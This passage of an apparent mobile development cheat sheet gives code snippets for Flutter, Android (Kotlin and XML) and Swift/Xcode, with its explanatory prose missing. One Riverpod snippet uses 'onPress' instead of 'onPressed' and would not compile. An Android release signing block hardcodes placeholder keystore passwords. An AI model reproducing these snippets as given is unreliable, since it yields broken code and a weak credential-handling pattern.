      ),
      floatingActionButton: FloatingActionButton(
        onPressed: _incrementCounter,
        child: Icon(Icons.add),
      ),
    );
  }
}

// Text
Text(
  'Hello Flutter',
  style: TextStyle(
    fontSize: 24,
    fontWeight: FontWeight.bold,
    color: Colors.blue,
  ),
)

// Image
Image.network('https://example.com/image.jpg')
Image.asset('assets/logo.png')

// Button
ElevatedButton(
  onPressed: () {
    print('Button pressed');
  },
  child: Text('Click Me'),
)

// TextField
TextField(
  decoration: InputDecoration(
    labelText: 'Email',
    hintText: 'Enter your email',
    border: OutlineInputBorder(),
  ),
  onChanged: (value) {
    print(value);
  },
)

// Container
Container(
  width: 200,
  height: 100,
  padding: EdgeInsets.all(16),
  margin: EdgeInsets.all(8),
  decoration: BoxDecoration(
    color: Colors.blue,
    borderRadius: BorderRadius.circular(12),
    boxShadow: [
      BoxShadow(
        color: Colors.grey.withOpacity(0.5),
        spreadRadius: 2,
        blurRadius: 5,
        offset: Offset(0, 3),
      ),
    ],
  ),
  child: Text('Styled Container'),
)

Column(
  mainAxisAlignment: MainAxisAlignment.center,
  crossAxisAlignment: CrossAxisAlignment.start,
  children: [
    Text('First'),
    Text('Second'),
    Text('Third'),
  ],
)

Row(
  mainAxisAlignment: MainAxisAlignment.spaceEvenly,
  children: [
    Icon(Icons.star),
    Icon(Icons.favorite),
    Icon(Icons.thumb_up),
  ],
)

Stack(
  children: [
    Container(
      width: 200,
      height: 200,
      color: Colors.blue,
    ),
    Positioned(
      top: 20,
      left: 20,
      child: Text('Overlayed Text'),
    ),
  ],
)

// Simple ListView
ListView(
  children: [
    ListTile(
      leading: Icon(Icons.person),
      title: Text('John Doe'),
      subtitle: Text('john@example.com'),
      trailing: Icon(Icons.arrow_forward),
      onTap: () {
        print('Tapped');
      },
    ),
    ListTile(
      leading: Icon(Icons.person),
      title: Text('Jane Smith'),
    ),
  ],
)

// ListView.builder (for large lists)
ListView.builder(
  itemCount: items.length,
  itemBuilder: (context, index) {
    return ListTile(
      title: Text(items[index].name),
    );
  },
)

// ListView.separated
ListView.separated(
  itemCount: items.length,
  itemBuilder: (context, index) => ListTile(
    title: Text(items[index]),
  ),
  separatorBuilder: (context, index) => Divider(),
)

GridView.count(
  crossAxisCount: 2,
  children: List.generate(20, (index) {
    return Card(
      child: Center(
        child: Text('Item $index'),
      ),
    );
  }),
)

GridView.builder(
  gridDelegate: SliverGridDelegateWithFixedCrossAxisCount(
    crossAxisCount: 3,
    crossAxisSpacing: 10,
    mainAxisSpacing: 10,
  ),
  itemCount: items.length,
  itemBuilder: (context, index) {
    return Card(
      child: Image.network(items[index].imageUrl),
    );
  },
)

# pubspec.yaml
dependencies:
  provider: ^6.0.0

import 'package:provider/provider.dart';

// Model
class Counter with ChangeNotifier {
  int _count = 0;

  int get count => _count;

  void increment() {
    _count++;
    notifyListeners();
  }

  void decrement() {
    _count--;
    notifyListeners();
  }
}

// Main app
void main() {
  runApp(
    ChangeNotifierProvider(
      create: (context) => Counter(),
      child: MyApp(),
    ),
  );
}

// Consumer widget
class CounterScreen extends StatelessWidget {
  @override
  Widget build(BuildContext context) {
    return Scaffold(
      appBar: AppBar(title: Text('Counter')),
      body: Center(
        child: Consumer<Counter>(
          builder: (context, counter, child) {
            return Text(
              '${counter.count}',
              style: TextStyle(fontSize: 48),
            );
          },
        ),
      ),
      floatingActionButton: FloatingActionButton(
        onPressed: () {
          context.read<Counter>().increment();
        },
        child: Icon(Icons.add),
      ),
    );
  }
}

dependencies:
  flutter_riverpod: ^2.0.0

import 'package:flutter_riverpod/flutter_riverpod.dart';

// Provider
final counterProvider = StateProvider<int>((ref) => 0);

// Main app
void main() {
  runApp(
    ProviderScope(
      child: MyApp(),
    ),
  );
}

// Consumer widget
class CounterScreen extends ConsumerWidget {
  @override
  Widget build(BuildContext context, WidgetRef ref) {
    final counter = ref.watch(counterProvider);

    return Scaffold(
      body: Center(
        child: Text('$counter'),
      ),
      floatingActionButton: FloatingActionButton(
        onPress: () {
          ref.read(counterProvider.notifier).state++;
        },
        child: Icon(Icons.add),
      ),
    );
  }
}

// Navigate to new screen
Navigator.push(
  context,
  MaterialPageRoute(builder: (context) => SecondScreen()),
);

// Navigate back
Navigator.pop(context);

// Navigate with data
Navigator.push(
  context,
  MaterialPageRoute(
    builder: (context) => DetailScreen(id: 123),
  ),
);

// Return data
final result = await Navigator.push(
  context,
  MaterialPageRoute(builder: (context) => SecondScreen()),
);

// Define routes
MaterialApp(
  initialRoute: '/',
  routes: {
    '/': (context) => HomeScreen(),
    '/details': (context) => DetailsScreen(),
    '/profile': (context) => ProfileScreen(),
  },
)

// Navigate
Navigator.pushNamed(context, '/details');

// With arguments
Navigator.pushNamed(
  context,
  '/details',
  arguments: {'id': 123},
);

// Extract arguments
class DetailsScreen extends StatelessWidget {
  @override
  Widget build(BuildContext context) {
    final args = ModalRoute.of(context)!.settings.arguments as Map;
    final id = args['id'];

    return Scaffold(
      appBar: AppBar(title: Text('Details $id')),
    );
  }
}

dependencies:
  http: ^0.13.0

import 'package:http/http.dart' as http;
import 'dart:convert';

// GET request
Future<List<User>> fetchUsers() async {
  final response = await http.get(
    Uri.parse('https://api.example.com/users'),
  );

  if (response.statusCode == 200) {
    List<dynamic> data = jsonDecode(response.body);
    return data.map((json) => User.fromJson(json)).toList();
  } else {
    throw Exception('Failed to load users');
  }
}

// POST request
Future<User> createUser(String name, String email) async {
  final response = await http.post(
    Uri.parse('https://api.example.com/users'),
    headers: {'Content-Type': 'application/json'},
    body: jsonEncode({
      'name': name,
      'email': email,
    }),
  );

  if (response.statusCode == 201) {
    return User.fromJson(jsonDecode(response.body));
  } else {
    throw Exception('Failed to create user');
  }
}

// FutureBuilder
class UsersList extends StatelessWidget {
  @override
  Widget build(BuildContext context) {
    return FutureBuilder<List<User>>(
      future: fetchUsers(),
      builder: (context, snapshot) {
        if (snapshot.connectionState == ConnectionState.waiting) {
          return CircularProgressIndicator();
        } else if (snapshot.hasError) {
          return Text('Error: ${snapshot.error}');
        } else if (snapshot.hasData) {
          return ListView.builder(
            itemCount: snapshot.data!.length,
            itemBuilder: (context, index) {
              return ListTile(
                title: Text(snapshot.data![index].name),
              );
            },
          );
        } else {
          return Text('No data');
        }
      },
    );
  }
}

dependencies:
  shared_preferences: ^2.0.0

import 'package:shared_preferences/shared_preferences.dart';

// Save data
Future<void> saveData() async {
  final prefs = await SharedPreferences.getInstance();
  await prefs.setString('username', 'John');
  await prefs.setInt('age', 30);
  await prefs.setBool('isLoggedIn', true);
}

// Read data
Future<String?> readData() async {
  final prefs = await SharedPreferences.getInstance();
  return prefs.getString('username');
}

// Remove data
Future<void> removeData() async {
  final prefs = await SharedPreferences.getInstance();
  await prefs.remove('username');
}

dependencies:
  sqflite: ^2.0.0
  path: ^1.8.0

import 'package:sqflite/sqflite.dart';
import 'package:path/path.dart';

class DatabaseHelper {
  static final DatabaseHelper instance = DatabaseHelper._init();
  static Database? _database;

  DatabaseHelper._init();

  Future<Database> get database async {
    if (_database != null) return _database!;
    _database = await _initDB('users.db');
    return _database!;
  }

  Future<Database> _initDB(String filePath) async {
    final dbPath = await getDatabasesPath();
    final path = join(dbPath, filePath);

    return await openDatabase(
      path,
      version: 1,
      onCreate: _createDB,
    );
  }

  Future _createDB(Database db, int version) async {
    await db.execute('''
      CREATE TABLE users (
        id INTEGER PRIMARY KEY AUTOINCREMENT,
        name TEXT NOT NULL,
        email TEXT NOT NULL
      )
    ''');
  }

  Future<int> insert(Map<String, dynamic> row) async {
    final db = await database;
    return await db.insert('users', row);
  }

  Future<List<Map<String, dynamic>>> queryAll() async {
    final db = await database;
    return await db.query('users');
  }

  Future<int> update(Map<String, dynamic> row) async {
    final db = await database;
    int id = row['id'];
    return await db.update('users', row, where: 'id = ?', whereArgs: [id]);
  }

  Future<int> delete(int id) async {
    final db = await database;
    return await db.delete('users', where: 'id = ?', whereArgs: [id]);
  }
}

// test/counter_test.dart
import 'package:flutter_test/flutter_test.dart';
import 'package:my_app/counter.dart';

void main() {
  test('Counter increments', () {
    final counter = Counter();
    counter.increment();
    expect(counter.count, 1);
  });

  test('Counter decrements', () {
    final counter = Counter();
    counter.decrement();
    expect(counter.count, -1);
  });
}

import 'package:flutter/material.dart';
import 'package:flutter_test/flutter_test.dart';
import 'package:my_app/main.dart';

void main() {
  testWidgets('Counter increments smoke test', (WidgetTester tester) async {
    // Build the widget
    await tester.pumpWidget(MyApp());

    // Verify initial state
    expect(find.text('0'), findsOneWidget);
    expect(find.text('1'), findsNothing);

    // Tap the '+' icon and trigger a frame
    await tester.tap(find.byIcon(Icons.add));
    await tester.pump();

    // Verify counter incremented
    expect(find.text('0'), findsNothing);
    expect(find.text('1'), findsOneWidget);
  });
}

# Build APK
flutter build apk --release

# Build App Bundle (recommended)
flutter build appbundle --release

# Split APKs by ABI
flutter build apk --split-per-abi

# Build for iOS
flutter build ios --release

# Or use Xcode
# Open ios/Runner.xcworkspace
# Product > Archive
# Upload to App Store

android {
    defaultConfig {
        applicationId "com.example.myapp"
        minSdkVersion 21
        targetSdkVersion 33
        versionCode 1
        versionName "1.0.0"
    }

    signingConfigs {
        release {
            storeFile file("upload-keystore.jks")
            storePassword System.getenv("KEYSTORE_PASSWORD")
            keyAlias "upload"
            keyPassword System.getenv("KEY_PASSWORD")
        }
    }
}

<key>CFBundleDisplayName</key>
<string>My App</string>
<key>CFBundleVersion</key>
<string>1</string>
<key>CFBundleShortVersionString</key>
<string>1.0.0</string>

# Download from https://developer.android.com/studio

# Linux installation
sudo tar -xzf android-studio-*.tar.gz -C /opt/
cd /opt/android-studio/bin
./studio.sh

# Add to PATH (optional)
echo 'export PATH=$PATH:/opt/android-studio/bin' >> ~/.bashrc

# Open SDK Manager: Tools > SDK Manager

# Essential SDK Packages:
# - Android SDK Platform (latest)
# - Android SDK Build-Tools
# - Android Emulator
# - Android SDK Platform-Tools
# - Android SDK Tools

# Command-line SDK management
sdkmanager --list
sdkmanager "platform-tools" "platforms;android-34"
sdkmanager --update

# Open AVD Manager: Tools > AVD Manager

# Or use command line
avdmanager create avd -n Pixel_7 -k "system-images;android-34;google_apis;x86_64"
avdmanager list avd

# Start emulator from command line
emulator -avd Pixel_7

MyApp/
├── app/
│   ├── src/
│   │   ├── main/
│   │   │   ├── java/com/example/myapp/
│   │   │   │   ├── MainActivity.kt
│   │   │   │   ├── models/
│   │   │   │   ├── viewmodels/
│   │   │   │   └── repositories/
│   │   │   ├── res/
│   │   │   │   ├── layout/
│   │   │   │   ├── values/
│   │   │   │   ├── drawable/
│   │   │   │   ├── mipmap/
│   │   │   │   └── menu/
│   │   │   └── AndroidManifest.xml
│   │   ├── test/          # Unit tests
│   │   └── androidTest/   # Instrumented tests
│   ├── build.gradle
│   └── proguard-rules.pro
├── gradle/
├── build.gradle
├── settings.gradle
└── gradle.properties

// MainActivity.kt
package com.example.myapp

import android.os.Bundle
import android.widget.Button
import android.widget.TextView
import androidx.appcompat.app.AppCompatActivity

class MainActivity : AppCompatActivity() {

    private lateinit var textView: TextView
    private lateinit var button: Button

    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContentView(R.layout.activity_main)

        // Initialize views
        textView = findViewById(R.id.textView)
        button = findViewById(R.id.button)

        // Set click listener
        button.setOnClickListener {
            textView.text = "Button clicked!"
        }
    }
}

class MyActivity : AppCompatActivity() {

    private val TAG = "MyActivity"

    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        Log.d(TAG, "onCreate called")
        setContentView(R.layout.activity_my)

        // Restore saved state
        savedInstanceState?.let {
            val savedText = it.getString("saved_text")
            textView.text = savedText
        }
    }

    override fun onStart() {
        super.onStart()
        Log.d(TAG, "onStart called")
        // Activity becoming visible
    }

    override fun onResume() {
        super.onResume()
        Log.d(TAG, "onResume called")
        // Activity in foreground, user can interact
        // Start animations, resume sensors
    }

    override fun onPause() {
        super.onPause()
        Log.d(TAG, "onPause called")
        // Activity losing focus
        // Pause animations, release sensors
    }

    override fun onStop() {
        super.onStop()
        Log.d(TAG, "onStop called")
        // Activity no longer visible
        // Release heavy resources
    }

    override fun onDestroy() {
        super.onDestroy()
        Log.d(TAG, "onDestroy called")
        // Activity being destroyed
        // Final cleanup
    }

    override fun onSaveInstanceState(outState: Bundle) {
        super.onSaveInstanceState(outState)
        // Save state before activity is killed
        outState.putString("saved_text", textView.text.toString())
    }
}

<!-- AndroidManifest.xml -->
<application>
    <!-- Launcher Activity -->
    <activity
        android:name=".MainActivity"
        android:exported="true">
        <intent-filter>
            <action android:name="android.intent.action.MAIN" />
            <category android:name="android.intent.category.LAUNCHER" />
        </intent-filter>
    </activity>

    <!-- Other Activities -->
    <activity
        android:name=".SecondActivity"
        android:label="@string/second_activity_title"
        android:parentActivityName=".MainActivity" />
</application>

// Start another activity
val intent = Intent(this, SecondActivity::class.java)
startActivity(intent)

// Pass data to activity
val intent = Intent(this, DetailActivity::class.java).apply {
    putExtra("USER_ID", 12345)
    putExtra("USERNAME", "john_doe")
    putExtra("USER_DATA", userData) // Parcelable or Serializable
}
startActivity(intent)

// Receive data in target activity
class DetailActivity : AppCompatActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)

        val userId = intent.getIntExtra("USER_ID", -1)
        val username = intent.getStringExtra("USERNAME")
        val userData = intent.getParcelableExtra<UserData>("USER_DATA")
    }
}

// Modern approach using Activity Result API
class MainActivity : AppCompatActivity() {

    private val getContent = registerForActivityResult(
        ActivityResultContracts.StartActivityForResult()
    ) { result ->
        if (result.resultCode == Activity.RESULT_OK) {
            val data = result.data?.getStringExtra("RESULT_DATA")
            // Handle result
        }
    }

    private fun launchSecondActivity() {
        val intent = Intent(this, SecondActivity::class.java)
        getContent.launch(intent)
    }
}

// Return result from activity
class SecondActivity : AppCompatActivity() {

    private fun returnResult() {
        val resultIntent = Intent().apply {
            putExtra("RESULT_DATA", "Some result")
        }
        setResult(Activity.RESULT_OK, resultIntent)
        finish()
    }
}

// Open web page
val webpage = Uri.parse("https://www.example.com")
val intent = Intent(Intent.ACTION_VIEW, webpage)
startActivity(intent)

// Make phone call
val phoneNumber = Uri.parse("tel:1234567890")
val intent = Intent(Intent.ACTION_DIAL, phoneNumber)
startActivity(intent)

// Send email
val intent = Intent(Intent.ACTION_SENDTO).apply {
    data = Uri.parse("mailto:")
    putExtra(Intent.EXTRA_EMAIL, arrayOf("recipient@example.com"))
    putExtra(Intent.EXTRA_SUBJECT, "Email subject")
    putExtra(Intent.EXTRA_TEXT, "Email body")
}
startActivity(intent)

// Share content
val shareIntent = Intent().apply {
    action = Intent.ACTION_SEND
    putExtra(Intent.EXTRA_TEXT, "Check this out!")
    type = "text/plain"
}
startActivity(Intent.createChooser(shareIntent, "Share via"))

// Take photo
val takePictureIntent = Intent(MediaStore.ACTION_IMAGE_CAPTURE)
if (takePictureIntent.resolveActivity(packageManager) != null) {
    startActivity(takePictureIntent)
}

// Pick image from gallery
val pickPhotoIntent = Intent(Intent.ACTION_PICK, 
    MediaStore.Images.Media.EXTERNAL_CONTENT_URI)
startActivity(pickPhotoIntent)

<!-- Declare activity can handle specific actions -->
<activity android:name=".ShareActivity">
    <intent-filter>
        <action android:name="android.intent.action.SEND" />
        <category android:name="android.intent.category.DEFAULT" />
        <data android:mimeType="text/plain" />
    </intent-filter>
</activity>

<!-- Handle custom URL scheme -->
<activity android:name=".DeepLinkActivity">
    <intent-filter android:autoVerify="true">
        <action android:name="android.intent.action.VIEW" />
        <category android:name="android.intent.category.DEFAULT" />
        <category android:name="android.intent.category.BROWSABLE" />
        <data
            android:scheme="https"
            android:host="www.example.com"
            android:pathPrefix="/app" />
    </intent-filter>
</activity>

<!-- res/layout/activity_main.xml -->
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout
    xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:orientation="vertical"
    android:padding="16dp">

    <TextView
        android:id="@+id/titleTextView"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:text="@string/title"
        android:textSize="24sp"
        android:textStyle="bold" />

    <EditText
        android:id="@+id/nameEditText"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:layout_marginTop="16dp"
        android:hint="@string/enter_name"
        android:inputType="textPersonName" />

    <Button
        android:id="@+id/submitButton"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_gravity="center"
        android:layout_marginTop="16dp"
        android:text="@string/submit" />

</LinearLayout>

<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout
    xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    android:layout_width="match_parent"
    android:layout_height="match_parent">

    <TextView
        android:id="@+id/titleTextView"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="@string/title"
        android:textSize="24sp"
        app:layout_constraintTop_toTopOf="parent"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        android:layout_marginTop="32dp" />

    <ImageView
        android:id="@+id/imageView"
        android:layout_width="200dp"
        android:layout_height="200dp"
        android:src="@drawable/placeholder"
        app:layout_constraintTop_toBottomOf="@id/titleTextView"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        android:layout_marginTop="24dp" />

    <Button
        android:id="@+id/button"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="@string/action"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        android:layout_marginBottom="32dp" />

</androidx.constraintlayout.widget.ConstraintLayout>

<?xml version="1.0" encoding="utf-8"?>
<RelativeLayout
    xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:padding="16dp">

    <TextView
        android:id="@+id/header"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:layout_alignParentTop="true"
        android:text="@string/header"
        android:textSize="20sp" />

    <Button
        android:id="@+id/button"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_centerInParent="true"
        android:text="@string/click_me" />

    <TextView
        android:id="@+id/footer"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:layout_alignParentBottom="true"
        android:text="@string/footer"
        android:gravity="center" />

</RelativeLayout>

<?xml version="1.0" encoding="utf-8"?>
<FrameLayout
    xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="match_parent"
    android:layout_height="match_parent">

    <!-- Background -->
    <ImageView
        android:layout_width="match_parent"
        android:layout_height="match_parent"
        android:src="@drawable/background"
        android:scaleType="centerCrop" />

    <!-- Foreground content -->
    <LinearLayout
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:layout_gravity="center"
        android:orientation="vertical"
        android:padding="32dp">

        <TextView
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:text="@string/welcome"
            android:textSize="32sp"
            android:textColor="@android:color/white" />

    </LinearLayout>

</FrameLayout>

// Enable in build.gradle
android {
    buildFeatures {
        viewBinding = true
    }
}

// Usage in Activity
class MainActivity : AppCompatActivity() {

    private lateinit var binding: ActivityMainBinding

    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        binding = ActivityMainBinding.inflate(layoutInflater)
        setContentView(binding.root)

        // Access views directly
        binding.button.setOnClickListener {
            binding.textView.text = "Clicked!"
        }
    }
}

// Usage in Fragment
class MyFragment : Fragment() {

    private var _binding: FragmentMyBinding? = null
    private val binding get() = _binding!!

    override fun onCreateView(
        inflater: LayoutInflater,
        container: ViewGroup?,
        savedInstanceState: Bundle?
    ): View {
        _binding = FragmentMyBinding.inflate(inflater, container, false)
        return binding.root
    }

    override fun onDestroyView() {
        super.onDestroyView()
        _binding = null
    }
}

// Item layout: res/layout/item_user.xml
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout
    xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="match_parent"
    android:layout_height="wrap_content"
    android:padding="16dp"
    android:orientation="horizontal">

    <TextView
        android:id="@+id/nameTextView"
        android:layout_width="0dp"
        android:layout_height="wrap_content"
        android:layout_weight="1"
        android:textSize="18sp" />

</LinearLayout>

// Data class
data class User(val id: Int, val name: String)

// Adapter
class UserAdapter(private val users: List<User>) : 
    RecyclerView.Adapter<UserAdapter.UserViewHolder>() {

    class UserViewHolder(view: View) : RecyclerView.ViewHolder(view) {
        val nameTextView: TextView = view.findViewById(R.id.nameTextView)
    }

    override fun onCreateViewHolder(parent: ViewGroup, viewType: Int): UserViewHolder {
        val view = LayoutInflater.from(parent.context)
            .inflate(R.layout.item_user, parent, false)
        return UserViewHolder(view)
    }

    override fun onBindViewHolder(holder: UserViewHolder, position: Int) {
        val user = users[position]
        holder.nameTextView.text = user.name
        holder.itemView.setOnClickListener {
            // Handle click
        }
    }

    override fun getItemCount() = users.size
}

// Usage
val recyclerView: RecyclerView = findViewById(R.id.recyclerView)
recyclerView.layoutManager = LinearLayoutManager(this)
recyclerView.adapter = UserAdapter(userList)

// Fragment class
class MyFragment : Fragment() {

    private var _binding: FragmentMyBinding? = null
    private val binding get() = _binding!!

    override fun onCreateView(
        inflater: LayoutInflater,
        container: ViewGroup?,
        savedInstanceState: Bundle?
    ): View {
        _binding = FragmentMyBinding.inflate(inflater, container, false)
        return binding.root
    }

    override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
        super.onViewCreated(view, savedInstanceState)

        binding.button.setOnClickListener {
            // Handle click
        }
    }

    override fun onDestroyView() {
        super.onDestroyView()
        _binding = null
    }
}

// Add fragment to activity
supportFragmentManager.commit {
    setReorderingAllowed(true)
    add(R.id.fragment_container, MyFragment())
}

// Replace fragment
supportFragmentManager.commit {
    setReorderingAllowed(true)
    replace(R.id.fragment_container, AnotherFragment())
    addToBackStack("transaction_name")
}

// Pass arguments to fragment
val fragment = MyFragment().apply {
    arguments = Bundle().apply {
        putString("ARG_NAME", "value")
        putInt("ARG_ID", 123)
    }
}

// Retrieve arguments in fragment
val name = arguments?.getString("ARG_NAME")
val id = arguments?.getInt("ARG_ID")

<!-- res/values/strings.xml -->
<resources>
    <string name="app_name">My App</string>
    <string name="welcome_message">Welcome, %1$s!</string>
    <string name="items_count">You have %d items</string>

    <plurals name="number_of_items">
        <item quantity="one">%d item</item>
        <item quantity="other">%d items</item>
    </plurals>
</resources>

<!-- Usage in code -->
val welcome = getString(R.string.welcome_message, "John")
val count = getString(R.string.items_count, 5)
val plural = resources.getQuantityString(R.plurals.number_of_items, count, count)

<!-- res/values/colors.xml -->
<resources>
    <color name="purple_200">#FFBB86FC</color>
    <color name="purple_500">#FF6200EE</color>
    <color name="purple_700">#FF3700B3</color>
    <color name="teal_200">#FF03DAC5</color>
    <color name="black">#FF000000</color>
    <color name="white">#FFFFFFFF</color>
</resources>

<!-- res/values/dimens.xml -->
<resources>
    <dimen name="padding_small">8dp</dimen>
    <dimen name="padding_medium">16dp</dimen>
    <dimen name="padding_large">24dp</dimen>
    <dimen name="text_size_small">12sp</dimen>
    <dimen name="text_size_medium">16sp</dimen>
    <dimen name="text_size_large">20sp</dimen>
</resources>

<!-- res/values/styles.xml -->
<resources>
    <!-- Base application theme -->
    <style name="AppTheme" parent="Theme.MaterialComponents.DayNight">
        <item name="colorPrimary">@color/purple_500</item>
        <item name="colorPrimaryVariant">@color/purple_700</item>
        <item name="colorOnPrimary">@color/white</item>
        <item name="colorSecondary">@color/teal_200</item>
    </style>

    <!-- Custom style -->
    <style name="CustomButton" parent="Widget.MaterialComponents.Button">
        <item name="android:textColor">@color/white</item>
        <item name="backgroundTint">@color/purple_500</item>
        <item name="cornerRadius">8dp</item>
    </style>
</resources>

import android.util.Log

class MainActivity : AppCompatActivity() {

    companion object {
        private const val TAG = "MainActivity"
    }

    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)

        // Different log levels
        Log.v(TAG, "Verbose message")   // Verbose
        Log.d(TAG, "Debug message")     // Debug
        Log.i(TAG, "Info message")      // Info
        Log.w(TAG, "Warning message")   // Warning
        Log.e(TAG, "Error message")     // Error

        // Log with exception
        try {
            // Code that might throw
        } catch (e: Exception) {
            Log.e(TAG, "Error occurred", e)
        }
    }
}

Tools > Layout Inspector

- View hierarchy in real-time
- Inspect view properties
- Debug rendering issues

# Debug build
./gradlew assembleDebug

# Release build
./gradlew assembleRelease

# Install debug APK
./gradlew installDebug

# APK location
# Debug: app/build/outputs/apk/debug/app-debug.apk
# Release: app/build/outputs/apk/release/app-release.apk

// app/build.gradle
android {
    signingConfigs {
        release {
            storeFile file("release-keystore.jks")
            storePassword "your_store_password"
            keyAlias "your_key_alias"
            keyPassword "your_key_password"
        }
    }

    buildTypes {
        release {
            signingConfig signingConfigs.release
            minifyEnabled true
            proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'),
                         'proguard-rules.pro'
        }
    }
}

# app/proguard-rules.pro

# Keep model classes
-keep class com.example.app.models.** { *; }

# Keep Parcelable implementations
-keep class * implements android.os.Parcelable {
    public static final ** CREATOR;
}

# Gson
-keepattributes Signature
-keepattributes *Annotation*
-keep class com.google.gson.** { *; }

# Retrofit
-keepattributes Signature
-keepattributes Exceptions
-keep class retrofit2.** { *; }

# Install from Mac App Store
# Or download from https://developer.apple.com/xcode/

# Install Xcode Command Line Tools
xcode-select --install

# Verify installation
xcode-select -p
# Output: /Applications/Xcode.app/Contents/Developer

# Check Xcode version
xcodebuild -version

# List available simulators
xcrun simctl list devices

# List available device types
xcrun simctl list devicetypes

# Create new simulator
xcrun simctl create "iPhone 15 Pro" "iPhone 15 Pro" "iOS17.0"

# Boot simulator
xcrun simctl boot "iPhone 15 Pro"

# Open Simulator app
open -a Simulator

# Install app on simulator
xcrun simctl install booted YourApp.app

# Uninstall app
xcrun simctl uninstall booted com.example.yourapp

# Build project
xcodebuild -project MyApp.xcodeproj -scheme MyApp -configuration Debug

# Build workspace (for CocoaPods projects)
xcodebuild -workspace MyApp.xcworkspace -scheme MyApp -configuration Release

# Run tests
xcodebuild test -scheme MyApp -destination 'platform=iOS Simulator,name=iPhone 15 Pro'

# Clean build
xcodebuild clean -project MyApp.xcodeproj

# Archive for distribution
xcodebuild archive -scheme MyApp -archivePath build/MyApp.xcarchive

MyApp/
├── MyApp/
│   ├── AppDelegate.swift
│   ├── SceneDelegate.swift
│   ├── ViewControllers/
│   │   ├── MainViewController.swift
│   │   └── DetailViewController.swift
│   ├── Views/
│   │   ├── CustomView.swift
│   │   └── Cells/
│   ├── Models/
│   │   └── User.swift
│   ├── ViewModels/
│   │   └── UserViewModel.swift
│   ├── Services/
│   │   ├── NetworkService.swift
│   │   └── DataStore.swift
│   ├── Resources/
│   │   ├── Assets.xcassets
│   │   └── LaunchScreen.storyboard
│   ├── Storyboards/
│   │   └── Main.storyboard
│   └── Info.plist
├── MyAppTests/
│   └── MyAppTests.swift
├── MyAppUITests/
│   └── MyAppUITests.swift
└── MyApp.xcodeproj

// Constants (immutable)
let name = "John"
let age: Int = 30
let pi: Double = 3.14159

// Variables (mutable)
var score = 100
var isLoggedIn = false

// Type inference
let city = "San Francisco"  // String inferred

// Optional types
var optionalName: String? = "Jane"
var optionalAge: Int? = nil

// Unwrapping optionals
if let name = optionalName {
    print("Name is \(name)")
} else {
    print("Name is nil")
}

// Guard statement
guard let name = optionalName else {
    print("No name provided")
    return
}

// Nil coalescing
let displayName = optionalName ?? "Anonymous"

// Optional chaining
let uppercasedName = optionalName?.uppercased()

// Arrays
var numbers = [1, 2, 3, 4, 5]
numbers.append(6)
numbers.insert(0, at: 0)
numbers.remove(at: 0)

// Dictionaries
var person = ["name": "John", "city": "NYC"]
person["age"] = "30"
person["name"] = nil  // Remove key

// Sets
var uniqueNumbers = Set([1, 2, 3, 2, 1])  // {1, 2, 3}
uniqueNumbers.insert(4)

// Iteration
for number in numbers {
    print(number)
}

for (key, value) in person {
    print("\(key): \(value)")
}

// Map, filter, reduce
let doubled = numbers.map { $0 * 2 }
let evens = numbers.filter { $0 % 2 == 0 }
let sum = numbers.reduce(0, +)

// Basic function
func greet(name: String) -> String {
    return "Hello, \(name)!"
}

// Multiple parameters
func add(a: Int, b: Int) -> Int {
    return a + b
}

// External and internal parameter names
func greet(person name: String, from city: String) {
    print("Hello \(name) from \(city)")
}
greet(person: "John", from: "NYC")

// Default parameters
func greet(name: String = "Guest") {
    print("Hello, \(name)")
}

// Variadic parameters
func sum(_ numbers: Int...) -> Int {
    return numbers.reduce(0, +)
}

// Closures
let multiply = { (a: Int, b: Int) -> Int in
    return a * b
}

// Trailing closure syntax
let sorted = numbers.sorted { $0 > $1 }

// Capturing values
func makeIncrementer(step: Int) -> () -> Int {
    var total = 0
    return {
        total += step
        return total
    }
}

// Struct (value type)
struct Point {
    var x: Double
    var y: Double

    // Computed property
    var magnitude: Double {
        return sqrt(x * x + y * y)
    }

    // Method
    mutating func move(dx: Double, dy: Double) {
        x += dx
        y += dy
    }
}

// Class (reference type)
class Person {
    var name: String
    var age: Int

    // Initializer
    init(name: String, age: Int) {
        self.name = name
        self.age = age
    }

    // Method
    func greet() {
        print("Hello, I'm \(name)")
    }
}

// Inheritance
class Student: Person {
    var studentId: String

    init(name: String, age: Int, studentId: String) {
        self.studentId = studentId
        super.init(name: name, age: age)
    }

    // Override method
    override func greet() {
        print("Hi, I'm \(name), student \(studentId)")
    }
}

// Protocols
protocol Drawable {
    func draw()
}

class Circle: Drawable {
    func draw() {
        print("Drawing circle")
    }
}

// Extensions
extension String {
    func isPalindrome() -> Bool {
